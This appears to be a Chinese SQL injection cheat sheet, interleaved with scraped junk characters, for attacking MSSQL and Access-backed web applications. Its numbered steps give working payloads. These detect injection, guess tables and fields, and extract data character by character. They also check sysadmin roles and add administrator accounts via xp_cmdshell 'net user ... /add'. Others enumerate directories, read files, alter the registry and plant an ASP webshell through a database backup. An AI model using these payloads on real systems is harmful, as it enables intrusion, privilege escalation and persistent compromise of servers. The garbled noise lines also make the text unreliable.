手工脚本注入 5 Z: N1 a, \( ]3 ~( e
1.判断是否有注入;and 1=1 ;and 1=2 ! X3 r+ u$ T+ K
, n+ j! e" g A4 u. h! F
2.初步判断是否是mssql ;and user>0 / s& p) @) v- v a% P; y! v0 s
( Y5 L+ G. P$ Y0 [
3.注入参数是字符'and [查询条件] and ''='
7 c7 ]8 C5 J/ \ D- {$ k) h$ \9 B4 v" f+ g3 V' |
4.搜索时没过滤参数的'and [查询条件] and '%25'=' $ H6 m/ X( u: a0 e: }( o
7 W# i1 B& w7 b% g5.判断数据库系统
; x! e$ I& B1 c+ _;and (select count(*) from sysobjects)>0 mssql
& H$ \4 t0 {( C1 y( _;and (select count(*) from msysobjects)>0 access
$ s( t5 I* I& J. l! r- P9 `$ T' h+ }6 H
6.猜数据库 ;and (select Count(*) from [数据库名])>0 - d* h9 Y) Z# G4 u; y) z9 [
. X. V1 z# H) {6 B9 H- @" `5 Q7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ; L* O! j) O& U
9 q- M1 @: K/ b' O- r, H D8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 % Q1 R5 K) D* E3 s7 T# I" E( ^
2 ^6 b) n+ W$ G, f7 l( M( y7 s9.(1)猜字段的ascii值(access) 8 k+ n. ]9 x- L( S& _4 v
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 , b- u7 @" ], Q
# @$ d# S' H/ X N% M$ g(2)猜字段的ascii值(mssql) 5 ?+ ?3 J. l7 B" d
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ( P& R7 s/ n( V5 G' k
: O D/ }) F/ g! u9 ~
10.测试权限结构(mssql) 3 [: d) _ {, L1 ?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 P7 C- W2 A/ ?( } M: G5 ?( C3 H;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- , g6 ~3 {9 A4 X) w, B; H
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! Z* K3 r7 K: V. q! f# m, b. C0 p% c
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
? A, J6 l* \- v;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- v" A" J' q. p/ L, J" K;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' l5 Z8 b, c- ]4 ~8 J3 z6 {- Z;and 1=(select IS_MEMBER('db_owner'));--
/ N t1 R/ D, J+ A
$ I7 M% M" W3 `11.添加mssql和系统的帐户
( z: S. ?9 g$ e) h' r& p;exec master.dbo.sp_addlogin username;-- A" U5 n8 b1 N; O
{8 @$ Z3 t$ R; w% r
;exec master.dbo.sp_password null,username,password;--
; T# n6 A& {, A3 e+ g% T# W1 q1 ^$ u+ @' L( N" G+ \6 i
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3 u" y- J8 t9 w8 R7 Y
; U$ j' h5 o% o# x H;exec master.dbo.xp_cmdshell 'net user username password
% O6 G2 N; Q; b/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 z& `$ N0 ~6 _5 n% q4 f, f
% {1 Q( \9 y' R* n9 B;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3 Z: N0 P9 _5 {' D l3 L* Z8 u
- D- w* W0 ], P ~" z, C! T;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ t2 Q) M6 I0 h9 N
2 {5 Y* o8 I# L) G4 W2 O7 ?0 Q12.(1)遍历目录
8 e) A8 N0 g# D, E1 _( o, ]9 l( H6 n5 L
W: g, w" L/ k( h" R4 h;create table dirs(paths varchar(100), id int) * q( T u( k& ]1 R
;insert dirs exec master.dbo.xp_dirtree 'c:\'
1 @6 E) }5 W8 T9 a G8 Y;and (select top 1 paths from dirs)>0
; R; _" x' J' N# d4 N X4 e; E: g;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2 P" q) D" r" ~1 c' Z, V
- X6 j+ h7 q* h6 R% }(2)遍历目录
7 F! L- a; _7 L6 ?! |# a3 Q;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . w& M& L2 I$ h) u$ H
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ; c8 A4 p) P) q& ^
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
! G$ I+ f! U# X3 A" i; D8 ?;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 + Z% v; `+ F# h
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
2 U3 o/ k3 i9 h$ ]" o9 f2 t- Q/ e5 E; i) h
13.mssql中的存储过程
) A4 m' I# s6 r! Q. q2 \3 {* F
1 S0 l0 a# ?; K; kxp_regenumvalues 注册表根键, 子键
: G( `$ _: E5 v5 Q S- C s) H;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
8 q! I0 A1 { n1 t8 l/ ?; c+ w. R& M* }3 n6 \: h, M
xp_regread 根键,子键,键值名 , s$ l. X7 b: j& j& _# E
;exec xp_regread
6 @+ i3 @0 ^; g9 R% J1 f, p'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( Y8 M6 Q2 T3 V0 U# I* f7 W+ h& L! l8 j/ T
xp_regwrite 根键,子键, 值名, 值类型, 值 ) k2 x R) X/ P" Q* n! [
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 $ }; f- T$ |2 O8 X% l$ @; q
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ' k' i8 Y& G4 h: l- [3 Q
6 V z5 v- l4 i# \
xp_regdeletevalue 根键,子键,值名 + J1 h* y5 T2 `# l0 F7 m
( G& a" z. L+ Eexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 + c$ o0 m9 q) _& X! e0 f! Y7 N1 M
. x4 l8 v7 j* `" R" I
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
$ s, V0 T- X# W; l2 E
8 q$ Z! l/ e( G: `7 _14.mssql的backup创建webshell : h$ Y8 `! i8 [2 b: m
use model 0 W* H! }" y6 h% A& ~# k7 t
create table cmd(str image);
! x( J$ ?2 P7 D8 n+ T! binsert into cmd(str) values ('');
% Q8 y+ y! r8 J9 h Fbackup database model to disk='c:\l.asp';
4 A1 h' G1 I' u( [, V& B1 {0 S. G, Q
15.mssql内置函数
8 d. V: e2 z7 o" |# K% @0 @; \;and (select @@version)>0 获得Windows的版本号
& c5 @ o( `3 g. C* V' B;and user_name()='dbo' 判断当前系统的连接用户是不是sa
* X, l' {1 e% q) S5 F: P;and (select user_name())>0 爆当前系统的连接用户 % R( Q0 W+ A G) w' g, j
;and (select db_name())>0 得到当前连接的数据库
9 [; Y4 k0 A- e& b3 h
, }. E* A+ g. F' u) F& d16.简洁的webshell
- Z/ M" E* _4 {& A7 y% ~; e- f- {, [, Y5 W
use model / `1 V3 S4 f; A6 d2 W
9 i- ?, A! P! Z, a- O
create table cmd(str image); \" I" Q4 K) `9 C: W, W
# I, O3 O4 u# A9 _. Hinsert into cmd(str) values ('');
4 e, U V3 b% `* ]6 u
, f. y# Y: M. _3 ~- g, Y2 ^0 w* Bbackup database model to disk='g:\wwwtest\l.asp';
2 }3 F% M9 Q- e, X, H 9 b# t2 p8 b3 z' G; W6 H p
|